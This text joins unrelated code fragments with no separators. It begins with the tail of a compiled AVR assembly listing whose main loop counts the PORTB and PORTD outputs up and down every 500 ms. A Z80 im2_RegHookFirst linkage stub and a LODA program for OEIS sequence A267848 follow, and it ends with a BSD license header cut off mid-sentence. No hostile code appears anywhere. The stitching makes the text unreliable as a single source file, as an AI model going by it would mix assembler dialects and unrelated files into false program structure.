.ENDM .MACRO __MULD2_2 LSL R26 ROL R27 ROL R24 ROL R25 .ENDM .MACRO __LSRD1 LSR R23 ROR R22 ROR R31 ROR R30 .ENDM .MACRO __LSLD1 LSL R30 ROL R31 ROL R22 ROL R23 .ENDM .MACRO __ASRB4 ASR R30 ASR R30 ASR R30 ASR R30 .ENDM .MACRO __ASRW8 MOV R30,R31 CLR R31 SBRC R30,7 SER R31 .ENDM .MACRO __LSRD16 MOV R30,R22 MOV R31,R23 LDI R22,0 LDI R23,0 .ENDM .MACRO __LSLD16 MOV R22,R30 MOV R23,R31 LDI R30,0 LDI R31,0 .ENDM .MACRO __CWD1 MOV R22,R31 ADD R22,R22 SBC R22,R22 MOV R23,R22 .ENDM .MACRO __CWD2 MOV R24,R27 ADD R24,R24 SBC R24,R24 MOV R25,R24 .ENDM .MACRO __SETMSD1 SER R31 SER R22 SER R23 .ENDM .MACRO __ADDW1R15 CLR R0 ADD R30,R15 ADC R31,R0 .ENDM .MACRO __ADDW2R15 CLR R0 ADD R26,R15 ADC R27,R0 .ENDM .MACRO __EQB12 CP R30,R26 LDI R30,1 BREQ PC+2 CLR R30 .ENDM .MACRO __NEB12 CP R30,R26 LDI R30,1 BRNE PC+2 CLR R30 .ENDM .MACRO __LEB12 CP R30,R26 LDI R30,1 BRGE PC+2 CLR R30 .ENDM .MACRO __GEB12 CP R26,R30 LDI R30,1 BRGE PC+2 CLR R30 .ENDM .MACRO __LTB12 CP R26,R30 LDI R30,1 BRLT PC+2 CLR R30 .ENDM .MACRO __GTB12 CP R30,R26 LDI R30,1 BRLT PC+2 CLR R30 .ENDM .MACRO __LEB12U CP R30,R26 LDI R30,1 BRSH PC+2 CLR R30 .ENDM .MACRO __GEB12U CP R26,R30 LDI R30,1 BRSH PC+2 CLR R30 .ENDM .MACRO __LTB12U CP R26,R30 LDI R30,1 BRLO PC+2 CLR R30 .ENDM .MACRO __GTB12U CP R30,R26 LDI R30,1 BRLO PC+2 CLR R30 .ENDM .MACRO __CPW01 CLR R0 CP R0,R30 CPC R0,R31 .ENDM .MACRO __CPW02 CLR R0 CP R0,R26 CPC R0,R27 .ENDM .MACRO __CPD12 CP R30,R26 CPC R31,R27 CPC R22,R24 CPC R23,R25 .ENDM .MACRO __CPD21 CP R26,R30 CPC R27,R31 CPC R24,R22 CPC R25,R23 .ENDM .MACRO __BSTB1 CLT TST R30 BREQ PC+2 SET .ENDM .MACRO __LNEGB1 TST R30 LDI R30,1 BREQ PC+2 CLR R30 .ENDM .MACRO __LNEGW1 OR R30,R31 LDI R30,1 BREQ PC+2 LDI R30,0 .ENDM .MACRO __POINTB1MN LDI R30,LOW(@0+(@1)) .ENDM .MACRO __POINTW1MN LDI R30,LOW(@0+(@1)) LDI R31,HIGH(@0+(@1)) .ENDM .MACRO __POINTD1M LDI R30,LOW(@0) LDI R31,HIGH(@0) LDI R22,BYTE3(@0) LDI R23,BYTE4(@0) .ENDM .MACRO __POINTW1FN LDI R30,LOW(2*@0+(@1)) LDI R31,HIGH(2*@0+(@1)) .ENDM .MACRO __POINTD1FN LDI R30,LOW(2*@0+(@1)) LDI R31,HIGH(2*@0+(@1)) LDI R22,BYTE3(2*@0+(@1)) LDI R23,BYTE4(2*@0+(@1)) .ENDM .MACRO __POINTB2MN LDI R26,LOW(@0+(@1)) .ENDM .MACRO __POINTW2MN LDI R26,LOW(@0+(@1)) LDI R27,HIGH(@0+(@1)) .ENDM .MACRO __POINTD2M LDI R26,LOW(@0) LDI R27,HIGH(@0) LDI R24,BYTE3(@0) LDI R25,BYTE4(@0) .ENDM .MACRO __POINTW2FN LDI R26,LOW(2*@0+(@1)) LDI R27,HIGH(2*@0+(@1)) .ENDM .MACRO __POINTD2FN LDI R26,LOW(2*@0+(@1)) LDI R27,HIGH(2*@0+(@1)) LDI R24,BYTE3(2*@0+(@1)) LDI R25,BYTE4(2*@0+(@1)) .ENDM .MACRO __POINTBRM LDI R@0,LOW(@1) .ENDM .MACRO __POINTWRM LDI R@0,LOW(@2) LDI R@1,HIGH(@2) .ENDM .MACRO __POINTBRMN LDI R@0,LOW(@1+(@2)) .ENDM .MACRO __POINTWRMN LDI R@0,LOW(@2+(@3)) LDI R@1,HIGH(@2+(@3)) .ENDM .MACRO __POINTWRFN LDI R@0,LOW(@2*2+(@3)) LDI R@1,HIGH(@2*2+(@3)) .ENDM .MACRO __GETD1N LDI R30,LOW(@0) LDI R31,HIGH(@0) LDI R22,BYTE3(@0) LDI R23,BYTE4(@0) .ENDM .MACRO __GETD2N LDI R26,LOW(@0) LDI R27,HIGH(@0) LDI R24,BYTE3(@0) LDI R25,BYTE4(@0) .ENDM .MACRO __GETB1MN LDS R30,@0+(@1) .ENDM .MACRO __GETB1HMN LDS R31,@0+(@1) .ENDM .MACRO __GETW1MN LDS R30,@0+(@1) LDS R31,@0+(@1)+1 .ENDM .MACRO __GETD1MN LDS R30,@0+(@1) LDS R31,@0+(@1)+1 LDS R22,@0+(@1)+2 LDS R23,@0+(@1)+3 .ENDM .MACRO __GETBRMN LDS R@0,@1+(@2) .ENDM .MACRO __GETWRMN LDS R@0,@2+(@3) LDS R@1,@2+(@3)+1 .ENDM .MACRO __GETWRZ LDD R@0,Z+@2 LDD R@1,Z+@2+1 .ENDM .MACRO __GETD2Z LDD R26,Z+@0 LDD R27,Z+@0+1 LDD R24,Z+@0+2 LDD R25,Z+@0+3 .ENDM .MACRO __GETB2MN LDS R26,@0+(@1) .ENDM .MACRO __GETW2MN LDS R26,@0+(@1) LDS R27,@0+(@1)+1 .ENDM .MACRO __GETD2MN LDS R26,@0+(@1) LDS R27,@0+(@1)+1 LDS R24,@0+(@1)+2 LDS R25,@0+(@1)+3 .ENDM .MACRO __PUTB1MN STS @0+(@1),R30 .ENDM .MACRO __PUTW1MN STS @0+(@1),R30 STS @0+(@1)+1,R31 .ENDM .MACRO __PUTD1MN STS @0+(@1),R30 STS @0+(@1)+1,R31 STS @0+(@1)+2,R22 STS @0+(@1)+3,R23 .ENDM .MACRO __PUTB1EN LDI R26,LOW(@0+(@1)) LDI R27,HIGH(@0+(@1)) RCALL __EEPROMWRB .ENDM .MACRO __PUTW1EN LDI R26,LOW(@0+(@1)) LDI R27,HIGH(@0+(@1)) RCALL __EEPROMWRW .ENDM .MACRO __PUTD1EN LDI R26,LOW(@0+(@1)) LDI R27,HIGH(@0+(@1)) RCALL __EEPROMWRD .ENDM .MACRO __PUTBR0MN STS @0+(@1),R0 .ENDM .MACRO __PUTBMRN STS @0+(@1),R@2 .ENDM .MACRO __PUTWMRN STS @0+(@1),R@2 STS @0+(@1)+1,R@3 .ENDM .MACRO __PUTBZR STD Z+@1,R@0 .ENDM .MACRO __PUTWZR STD Z+@2,R@0 STD Z+@2+1,R@1 .ENDM .MACRO __GETW1R MOV R30,R@0 MOV R31,R@1 .ENDM .MACRO __GETW2R MOV R26,R@0 MOV R27,R@1 .ENDM .MACRO __GETWRN LDI R@0,LOW(@2) LDI R@1,HIGH(@2) .ENDM .MACRO __PUTW1R MOV R@0,R30 MOV R@1,R31 .ENDM .MACRO __PUTW2R MOV R@0,R26 MOV R@1,R27 .ENDM .MACRO __ADDWRN SUBI R@0,LOW(-@2) SBCI R@1,HIGH(-@2) .ENDM .MACRO __ADDWRR ADD R@0,R@2 ADC R@1,R@3 .ENDM .MACRO __SUBWRN SUBI R@0,LOW(@2) SBCI R@1,HIGH(@2) .ENDM .MACRO __SUBWRR SUB R@0,R@2 SBC R@1,R@3 .ENDM .MACRO __ANDWRN ANDI R@0,LOW(@2) ANDI R@1,HIGH(@2) .ENDM .MACRO __ANDWRR AND R@0,R@2 AND R@1,R@3 .ENDM .MACRO __ORWRN ORI R@0,LOW(@2) ORI R@1,HIGH(@2) .ENDM .MACRO __ORWRR OR R@0,R@2 OR R@1,R@3 .ENDM .MACRO __EORWRR EOR R@0,R@2 EOR R@1,R@3 .ENDM .MACRO __GETWRS LDD R@0,Y+@2 LDD R@1,Y+@2+1 .ENDM .MACRO __PUTBSR STD Y+@1,R@0 .ENDM .MACRO __PUTWSR STD Y+@2,R@0 STD Y+@2+1,R@1 .ENDM .MACRO __MOVEWRR MOV R@0,R@2 MOV R@1,R@3 .ENDM .MACRO __INWR IN R@0,@2 IN R@1,@2+1 .ENDM .MACRO __OUTWR OUT @2+1,R@1 OUT @2,R@0 .ENDM .MACRO __CALL1MN LDS R30,@0+(@1) LDS R31,@0+(@1)+1 ICALL .ENDM .MACRO __CALL1FN LDI R30,LOW(2*@0+(@1)) LDI R31,HIGH(2*@0+(@1)) RCALL __GETW1PF ICALL .ENDM .MACRO __CALL2EN PUSH R26 PUSH R27 LDI R26,LOW(@0+(@1)) LDI R27,HIGH(@0+(@1)) RCALL __EEPROMRDW POP R27 POP R26 ICALL .ENDM .MACRO __CALL2EX SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) RCALL __EEPROMRDD ICALL .ENDM .MACRO __GETW1STACK IN R30,SPL IN R31,SPH ADIW R30,@0+1 LD R0,Z+ LD R31,Z MOV R30,R0 .ENDM .MACRO __GETD1STACK IN R30,SPL IN R31,SPH ADIW R30,@0+1 LD R0,Z+ LD R1,Z+ LD R22,Z MOVW R30,R0 .ENDM .MACRO __NBST BST R@0,@1 IN R30,SREG LDI R31,0x40 EOR R30,R31 OUT SREG,R30 .ENDM .MACRO __PUTB1SN LDD R26,Y+@0 LDD R27,Y+@0+1 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X,R30 .ENDM .MACRO __PUTW1SN LDD R26,Y+@0 LDD R27,Y+@0+1 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1SN LDD R26,Y+@0 LDD R27,Y+@0+1 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTB1SNS LDD R26,Y+@0 LDD R27,Y+@0+1 ADIW R26,@1 ST X,R30 .ENDM .MACRO __PUTW1SNS LDD R26,Y+@0 LDD R27,Y+@0+1 ADIW R26,@1 ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1SNS LDD R26,Y+@0 LDD R27,Y+@0+1 ADIW R26,@1 ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTB1PMN LDS R26,@0 LDS R27,@0+1 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X,R30 .ENDM .MACRO __PUTW1PMN LDS R26,@0 LDS R27,@0+1 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1PMN LDS R26,@0 LDS R27,@0+1 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTB1PMNS LDS R26,@0 LDS R27,@0+1 ADIW R26,@1 ST X,R30 .ENDM .MACRO __PUTW1PMNS LDS R26,@0 LDS R27,@0+1 ADIW R26,@1 ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1PMNS LDS R26,@0 LDS R27,@0+1 ADIW R26,@1 ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTB1RN MOVW R26,R@0 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X,R30 .ENDM .MACRO __PUTW1RN MOVW R26,R@0 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1RN MOVW R26,R@0 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTB1RNS MOVW R26,R@0 ADIW R26,@1 ST X,R30 .ENDM .MACRO __PUTW1RNS MOVW R26,R@0 ADIW R26,@1 ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1RNS MOVW R26,R@0 ADIW R26,@1 ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTB1RON MOV R26,R@0 MOV R27,R@1 SUBI R26,LOW(-@2) SBCI R27,HIGH(-@2) ST X,R30 .ENDM .MACRO __PUTW1RON MOV R26,R@0 MOV R27,R@1 SUBI R26,LOW(-@2) SBCI R27,HIGH(-@2) ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1RON MOV R26,R@0 MOV R27,R@1 SUBI R26,LOW(-@2) SBCI R27,HIGH(-@2) ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTB1RONS MOV R26,R@0 MOV R27,R@1 ADIW R26,@2 ST X,R30 .ENDM .MACRO __PUTW1RONS MOV R26,R@0 MOV R27,R@1 ADIW R26,@2 ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1RONS MOV R26,R@0 MOV R27,R@1 ADIW R26,@2 ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __GETB1SX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) LD R30,Z .ENDM .MACRO __GETB1HSX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) LD R31,Z .ENDM .MACRO __GETW1SX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) RCALL __GETW1Z .ENDM .MACRO __GETD1SX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) RCALL __GETD1Z .ENDM .MACRO __GETB2SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) LD R26,X .ENDM .MACRO __GETW2SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) RCALL __GETW2X .ENDM .MACRO __GETD2SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) RCALL __GETD2X .ENDM .MACRO __GETBRSX MOVW R30,R28 SUBI R30,LOW(-@1) SBCI R31,HIGH(-@1) LD R@0,Z .ENDM .MACRO __GETWRSX MOVW R30,R28 SUBI R30,LOW(-@2) SBCI R31,HIGH(-@2) LD R@0,Z+ LD R@1,Z .ENDM .MACRO __GETBRSX2 MOVW R26,R28 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) LD R@0,X .ENDM .MACRO __GETWRSX2 MOVW R26,R28 SUBI R26,LOW(-@2) SBCI R27,HIGH(-@2) LD R@0,X+ LD R@1,X .ENDM .MACRO __LSLW8SX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) LD R31,Z CLR R30 .ENDM .MACRO __PUTB1SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) ST X,R30 .ENDM .MACRO __PUTW1SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __CLRW1SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) ST X+,R30 ST X,R30 .ENDM .MACRO __CLRD1SX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) ST X+,R30 ST X+,R30 ST X+,R30 ST X,R30 .ENDM .MACRO __PUTB2SX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) ST Z,R26 .ENDM .MACRO __PUTW2SX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) ST Z+,R26 ST Z,R27 .ENDM .MACRO __PUTD2SX MOVW R30,R28 SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) ST Z+,R26 ST Z+,R27 ST Z+,R24 ST Z,R25 .ENDM .MACRO __PUTBSRX MOVW R30,R28 SUBI R30,LOW(-@1) SBCI R31,HIGH(-@1) ST Z,R@0 .ENDM .MACRO __PUTWSRX MOVW R30,R28 SUBI R30,LOW(-@2) SBCI R31,HIGH(-@2) ST Z+,R@0 ST Z,R@1 .ENDM .MACRO __PUTB1SNX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) LD R0,X+ LD R27,X MOV R26,R0 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X,R30 .ENDM .MACRO __PUTW1SNX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) LD R0,X+ LD R27,X MOV R26,R0 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X,R31 .ENDM .MACRO __PUTD1SNX MOVW R26,R28 SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) LD R0,X+ LD R27,X MOV R26,R0 SUBI R26,LOW(-@1) SBCI R27,HIGH(-@1) ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __MULBRR MULS R@0,R@1 MOVW R30,R0 .ENDM .MACRO __MULBRRU MUL R@0,R@1 MOVW R30,R0 .ENDM .MACRO __MULBRR0 MULS R@0,R@1 .ENDM .MACRO __MULBRRU0 MUL R@0,R@1 .ENDM .MACRO __MULBNWRU LDI R26,@2 MUL R26,R@0 MOVW R30,R0 MUL R26,R@1 ADD R31,R0 .ENDM .CSEG .ORG 0x00 ;START OF CODE MARKER __START_OF_CODE: ;INTERRUPT VECTORS RJMP __RESET RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 RJMP 0x00 __RESET: CLI CLR R30 OUT EECR,R30 ;INTERRUPT VECTORS ARE PLACED ;AT THE START OF FLASH LDI R31,1 OUT GICR,R31 OUT GICR,R30 OUT MCUCR,R30 ;CLEAR R2-R14 LDI R24,(14-2)+1 LDI R26,2 CLR R27 __CLEAR_REG: ST X+,R30 DEC R24 BRNE __CLEAR_REG ;CLEAR SRAM LDI R24,LOW(__CLEAR_SRAM_SIZE) LDI R25,HIGH(__CLEAR_SRAM_SIZE) LDI R26,__SRAM_START __CLEAR_SRAM: ST X+,R30 SBIW R24,1 BRNE __CLEAR_SRAM ;HARDWARE STACK POINTER INITIALIZATION LDI R30,LOW(__SRAM_END-__HEAP_SIZE) OUT SPL,R30 LDI R30,HIGH(__SRAM_END-__HEAP_SIZE) OUT SPH,R30 ;DATA STACK POINTER INITIALIZATION LDI R28,LOW(__SRAM_START+__DSTACK_SIZE) LDI R29,HIGH(__SRAM_START+__DSTACK_SIZE) RJMP _main .ESEG .ORG 0x00 .DSEG .ORG 0xE0 .CSEG #ifndef __SLEEP_DEFINED__ #define __SLEEP_DEFINED__ .EQU __se_bit=0x40 .EQU __sm_mask=0xB0 .EQU __sm_powerdown=0x20 .EQU __sm_powersave=0x30 .EQU __sm_standby=0xA0 .EQU __sm_ext_standby=0xB0 .EQU __sm_adc_noise_red=0x10 .SET power_ctrl_reg=mcucr #endif ;void main(void) ; 0000 001D { .CSEG _main: ; .FSTART _main ; 0000 001E // Declare your local variables here ; 0000 001F ; 0000 0020 // Input/Output Ports initialization ; 0000 0021 // Port A initialization ; 0000 0022 // Function: Bit7=In Bit6=In Bit5=In Bit4=In Bit3=In Bit2=In Bit1=In Bit0=In ; 0000 0023 DDRA=(0<<DDA7) | (0<<DDA6) | (0<<DDA5) | (0<<DDA4) | (0<<DDA3) | (0<<DDA2) | (0<<DDA1) | (0<<DDA0); LDI R30,LOW(0) OUT 0x1A,R30 ; 0000 0024 // State: Bit7=T Bit6=T Bit5=T Bit4=T Bit3=T Bit2=T Bit1=T Bit0=T ; 0000 0025 PORTA=(0<<PORTA7) | (0<<PORTA6) | (0<<PORTA5) | (0<<PORTA4) | (0<<PORTA3) | (0<<PORTA2) | (0<<PORTA1) | (0<<PORTA0); OUT 0x1B,R30 ; 0000 0026 ; 0000 0027 // Port B initialization ; 0000 0028 // Function: Bit7=Out Bit6=Out Bit5=Out Bit4=Out Bit3=Out Bit2=Out Bit1=Out Bit0=Out ; 0000 0029 DDRB=(1<<DDB7) | (1<<DDB6) | (1<<DDB5) | (1<<DDB4) | (1<<DDB3) | (1<<DDB2) | (1<<DDB1) | (1<<DDB0); LDI R30,LOW(255) OUT 0x17,R30 ; 0000 002A // State: Bit7=0 Bit6=0 Bit5=0 Bit4=0 Bit3=0 Bit2=0 Bit1=0 Bit0=0 ; 0000 002B PORTB=(0<<PORTB7) | (0<<PORTB6) | (0<<PORTB5) | (0<<PORTB4) | (0<<PORTB3) | (0<<PORTB2) | (0<<PORTB1) | (0<<PORTB0); LDI R30,LOW(0) OUT 0x18,R30 ; 0000 002C ; 0000 002D // Port C initialization ; 0000 002E // Function: Bit7=In Bit6=In Bit5=In Bit4=In Bit3=In Bit2=In Bit1=In Bit0=In ; 0000 002F DDRC=(0<<DDC7) | (0<<DDC6) | (0<<DDC5) | (0<<DDC4) | (0<<DDC3) | (0<<DDC2) | (0<<DDC1) | (0<<DDC0); OUT 0x14,R30 ; 0000 0030 // State: Bit7=T Bit6=T Bit5=T Bit4=T Bit3=T Bit2=T Bit1=T Bit0=T ; 0000 0031 PORTC=(0<<PORTC7) | (0<<PORTC6) | (0<<PORTC5) | (0<<PORTC4) | (0<<PORTC3) | (0<<PORTC2) | (0<<PORTC1) | (0<<PORTC0); OUT 0x15,R30 ; 0000 0032 ; 0000 0033 // Port D initialization ; 0000 0034 // Function: Bit7=Out Bit6=Out Bit5=Out Bit4=Out Bit3=Out Bit2=Out Bit1=Out Bit0=Out ; 0000 0035 DDRD=(1<<DDD7) | (1<<DDD6) | (1<<DDD5) | (1<<DDD4) | (1<<DDD3) | (1<<DDD2) | (1<<DDD1) | (1<<DDD0); LDI R30,LOW(255) OUT 0x11,R30 ; 0000 0036 // State: Bit7=1 Bit6=1 Bit5=1 Bit4=1 Bit3=1 Bit2=1 Bit1=1 Bit0=1 ; 0000 0037 PORTD=(1<<PORTD7) | (1<<PORTD6) | (1<<PORTD5) | (1<<PORTD4) | (1<<PORTD3) | (1<<PORTD2) | (1<<PORTD1) | (1<<PORTD0); OUT 0x12,R30 ; 0000 0038 ; 0000 0039 // Timer/Counter 0 initialization ; 0000 003A // Clock source: System Clock ; 0000 003B // Clock value: Timer 0 Stopped ; 0000 003C // Mode: Normal top=0xFF ; 0000 003D // OC0 output: Disconnected ; 0000 003E TCCR0=(0<<WGM00) | (0<<COM01) | (0<<COM00) | (0<<WGM01) | (0<<CS02) | (0<<CS01) | (0<<CS00); LDI R30,LOW(0) OUT 0x33,R30 ; 0000 003F TCNT0=0x00; OUT 0x32,R30 ; 0000 0040 OCR0=0x00; OUT 0x3C,R30 ; 0000 0041 ; 0000 0042 // Timer/Counter 1 initialization ; 0000 0043 // Clock source: System Clock ; 0000 0044 // Clock value: Timer1 Stopped ; 0000 0045 // Mode: Normal top=0xFFFF ; 0000 0046 // OC1A output: Disconnected ; 0000 0047 // OC1B output: Disconnected ; 0000 0048 // Noise Canceler: Off ; 0000 0049 // Input Capture on Falling Edge ; 0000 004A // Timer1 Overflow Interrupt: Off ; 0000 004B // Input Capture Interrupt: Off ; 0000 004C // Compare A Match Interrupt: Off ; 0000 004D // Compare B Match Interrupt: Off ; 0000 004E TCCR1A=(0<<COM1A1) | (0<<COM1A0) | (0<<COM1B1) | (0<<COM1B0) | (0<<WGM11) | (0<<WGM10); OUT 0x2F,R30 ; 0000 004F TCCR1B=(0<<ICNC1) | (0<<ICES1) | (0<<WGM13) | (0<<WGM12) | (0<<CS12) | (0<<CS11) | (0<<CS10); OUT 0x2E,R30 ; 0000 0050 TCNT1H=0x00; OUT 0x2D,R30 ; 0000 0051 TCNT1L=0x00; OUT 0x2C,R30 ; 0000 0052 ICR1H=0x00; OUT 0x27,R30 ; 0000 0053 ICR1L=0x00; OUT 0x26,R30 ; 0000 0054 OCR1AH=0x00; OUT 0x2B,R30 ; 0000 0055 OCR1AL=0x00; OUT 0x2A,R30 ; 0000 0056 OCR1BH=0x00; OUT 0x29,R30 ; 0000 0057 OCR1BL=0x00; OUT 0x28,R30 ; 0000 0058 ; 0000 0059 // Timer/Counter 2 initialization ; 0000 005A // Clock source: System Clock ; 0000 005B // Clock value: Timer2 Stopped ; 0000 005C // Mode: Normal top=0xFF ; 0000 005D // OC2 output: Disconnected ; 0000 005E ASSR=0<<AS2; OUT 0x22,R30 ; 0000 005F TCCR2=(0<<WGM20) | (0<<COM21) | (0<<COM20) | (0<<WGM21) | (0<<CS22) | (0<<CS21) | (0<<CS20); OUT 0x25,R30 ; 0000 0060 TCNT2=0x00; OUT 0x24,R30 ; 0000 0061 OCR2=0x00; OUT 0x23,R30 ; 0000 0062 ; 0000 0063 // Timer(s)/Counter(s) Interrupt(s) initialization ; 0000 0064 TIMSK=(0<<OCIE2) | (0<<TOIE2) | (0<<TICIE1) | (0<<OCIE1A) | (0<<OCIE1B) | (0<<TOIE1) | (0<<OCIE0) | (0<<TOIE0); OUT 0x39,R30 ; 0000 0065 ; 0000 0066 // External Interrupt(s) initialization ; 0000 0067 // INT0: Off ; 0000 0068 // INT1: Off ; 0000 0069 // INT2: Off ; 0000 006A MCUCR=(0<<ISC11) | (0<<ISC10) | (0<<ISC01) | (0<<ISC00); OUT 0x35,R30 ; 0000 006B MCUCSR=(0<<ISC2); OUT 0x34,R30 ; 0000 006C ; 0000 006D // USART initialization ; 0000 006E // USART disabled ; 0000 006F UCSRB=(0<<RXCIE) | (0<<TXCIE) | (0<<UDRIE) | (0<<RXEN) | (0<<TXEN) | (0<<UCSZ2) | (0<<RXB8) | (0<<TXB8); OUT 0xA,R30 ; 0000 0070 ; 0000 0071 // Analog Comparator initialization ; 0000 0072 // Analog Comparator: Off ; 0000 0073 // The Analog Comparator's positive input is ; 0000 0074 // connected to the AIN0 pin ; 0000 0075 // The Analog Comparator's negative input is ; 0000 0076 // connected to the AIN1 pin ; 0000 0077 ACSR=(1<<ACD) | (0<<ACBG) | (0<<ACO) | (0<<ACI) | (0<<ACIE) | (0<<ACIC) | (0<<ACIS1) | (0<<ACIS0); LDI R30,LOW(128) OUT 0x8,R30 ; 0000 0078 SFIOR=(0<<ACME); LDI R30,LOW(0) OUT 0x30,R30 ; 0000 0079 ; 0000 007A // ADC initialization ; 0000 007B // ADC disabled ; 0000 007C ADCSRA=(0<<ADEN) | (0<<ADSC) | (0<<ADATE) | (0<<ADIF) | (0<<ADIE) | (0<<ADPS2) | (0<<ADPS1) | (0<<ADPS0); OUT 0x6,R30 ; 0000 007D ; 0000 007E // SPI initialization ; 0000 007F // SPI disabled ; 0000 0080 SPCR=(0<<SPIE) | (0<<SPE) | (0<<DORD) | (0<<MSTR) | (0<<CPOL) | (0<<CPHA) | (0<<SPR1) | (0<<SPR0); OUT 0xD,R30 ; 0000 0081 ; 0000 0082 // TWI initialization ; 0000 0083 // TWI disabled ; 0000 0084 TWCR=(0<<TWEA) | (0<<TWSTA) | (0<<TWSTO) | (0<<TWEN) | (0<<TWIE); OUT 0x36,R30 ; 0000 0085 ; 0000 0086 while (1) _0x3: ; 0000 0087 { ; 0000 0088 delay_ms(500); LDI R26,LOW(500) LDI R27,HIGH(500) RCALL _delay_ms ; 0000 0089 ; 0000 008A PORTB++; IN R30,0x18 SUBI R30,-LOW(1) OUT 0x18,R30 ; 0000 008B PORTD--; IN R30,0x12 SUBI R30,LOW(1) OUT 0x12,R30 ; 0000 008C } RJMP _0x3 ; 0000 008D } _0x6: RJMP _0x6 ; .FEND .CSEG ;RUNTIME LIBRARY .CSEG _delay_ms: adiw r26,0 breq __delay_ms1 __delay_ms0: wdr __DELAY_USW 0xFA sbiw r26,1 brne __delay_ms0 __delay_ms1: ret ;END OF CODE MARKER __END_OF_CODE:
; CALLER linkage for function pointers XLIB im2_RegHookFirst LIB im2_RegHookFirst_callee XREF ASMDISP_IM2_REGHOOKFIRST_CALLEE .im2_RegHookFirst pop bc pop de pop hl push hl push de push bc jp im2_RegHookFirst_callee + ASMDISP_IM2_REGHOOKFIRST_CALLEE
; A267848: Triangle read by rows giving successive states of cellular automaton generated by "Rule 229" initiated with a single ON (black) cell. ; Submitted by Simon Strandgaard ; 1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0 mov $1,3 lpb $0 sub $1,$0 trn $1,$0 add $1,$0 sub $0,1 trn $0,$2 add $2,2 lpe mov $0,$1 mod $0,2
/******************************************************************************* * Copyright (c) 2013, Esoteric Software * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, 